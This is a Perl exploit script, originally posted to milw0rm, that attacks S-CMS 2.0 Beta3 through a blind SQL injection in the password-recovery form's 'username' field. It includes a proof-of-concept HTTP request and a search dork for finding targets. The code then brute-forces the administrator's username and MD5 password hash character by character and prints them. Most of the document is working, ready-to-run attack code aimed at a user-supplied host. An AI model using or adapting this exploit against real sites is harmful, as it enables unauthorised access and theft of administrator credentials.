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S-CMS <= 2.0b3 (username) Blind SQL Injection Exploit
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#** **
#** **
#** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
#** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
# [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
# [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] []
#** **
#** **
#** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
#** ¡PROUD TO BE SPANISH! **
#** **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#| (Post Form var 'username') BLIND SQLi exploit |
#|-------------------------------------------------------------------------------------------|
#| | S-CMS <= v-2.0 Beta3 | |
#| CMS INFORMATION: --------------------------- |
#| |
#|-->WEB: http://www.matteoiammarrone.com/public/s-cms/ |
#|-->DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/ |
#|-->DEMO: N/A |
#|-->CATEGORY: CMS / Portal |
#|-->DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins, |
#| blocks and permission system. |
#|-->RELEASED: 2009-05-25 |
#| |
#| CMS VULNERABILITY: |
#| |
#|-->TESTED ON: firefox 3 |
#|-->DORK: "S-CMS by matteoiamma" |
#|-->CATEGORY: BLIND SQLi exploit |
#|-->AFFECT VERSION: <= 2.0-Beta3 |
#|-->Discovered Bug date: 2009-05-25 |
#|-->Reported Bug date: 2009-05-25 |
#|-->Fixed bug date: 2009-05-28 |
#|-->Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3 |
#|-->Author: YEnH4ckEr |
#|-->mail: y3nh4ck3r[at]gmail[dot]com |
#|-->WEB/BLOG: N/A |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#{db_prefix} by default=cms
#
#-------
#NEED:
#-------
#
#Valid username
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=passlost HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://[HOST]/[PATH]/html/plugin.php?page=your_account.php&mode=passlost
#
#username=pepe%27+or+1%3D%271&recupera_pass=Recover+password --> OK, sending code
#
#username=pepe%27+or+1%3D%270&recupera_pass=Recover+password --> Uhm?, username doesn't exist
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=oVYrVcfA6Vo
#
# SQLi --> http://www.youtube.com/watch?v=S__l5IKzYNU
# --> http://www.youtube.com/watch?v=LprQDdZ6ZcU
#
# LFI --> http://www.youtube.com/watch?v=2NhaNFbyP_w
#
#
##############################################################################
##############################################################################
##**************************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title S-CMS V-2.0 Beta3 Blind SQL Injection Exploit");
system ("color 02");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$request = HTTP::Request -> new(POST => $_[0]);
$request->referer($_[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $outcode= $userag->request($request)->as_string;
#print $outcode; #--> Active this line for debugger mode
#print $request->as_string; #--> Active this line for debugger mode
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t--->Maybe:\n\n";
print "\t\t1.-Patched.\n";
print "\t\t2.-Bad path or host.\n";
print "\t\t3.-Bad username.\n";
print "\t\t4.-db_prefix isn't 'cms'.\n";
print "\t\t5.-Magic quotes ON'.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
print "\n\t[!!!] S-CMS V-2.0 Beta3 Blind SQL Injection Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH] [USER]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] [USER]: Username for fish\n";
print "\t[!!!] Example: perl $0 'www.example.com' 'demo' 'y3nh4ck3r'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
my $blindsql="username=".$_[1]."'+AND+(SELECT+length(username)+FROM+cms_users+WHERE+uid=1)='".$i++."&recupera_pass=Recover+password"; #injected code
$output=&request($_[0],$blindsql);
if($output =~ (/\<center\>Generate a confirmation code that was sent via email\.\<\/center\>/)){
$exit=1;
}else{
$exit=0;
}
#This is the max length of username
if($i>50){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
$z=45;
while(($k<=$_[1]) && ($z<=126)){
my $blindsql="username=".$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+cms_users+WHERE+uid=1),".$k.",1))='".$z."&recupera_pass=Recover+password";
$output=&request($_[0],$blindsql);
if($output =~ (/\<center\>Generate a confirmation code that was sent via email.\<\/center\>/))
{
$values=$values.chr($z);
$k++;
$z=45;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## S-CMS V-2.0 Beta3 Blind SQL Injection Exploit ##\n\n";
print "\t## Blind SQL Injection Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";
print "\t## ++Needed: Valid username (USER) ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $userforfish=$ARGV[2];
$numArgs = $#ARGV + 1;
if($numArgs<=2)
{
&helper;
exit(1);
}
#Build uri
my $finalhost="http://".$host."/".$path."/plugin.php?page=your_account.php&mode=passlost";
$finalrequest = $finalhost;
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=".$userforfish."%27+or+1%3D%271&recupera_pass=Recover+password";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=".$userforfish."%27+or+1%3D%270&recupera_pass=Recover+password";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{
#Not injectable
&error;
exit(1);
}else{
#blind sql injection is available
&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,$userforfish);
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username',$userforfish);
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password',$userforfish);
#final checking
if((!$user) || (!$pwhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done
# milw0rm.com [2009-06-09]
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1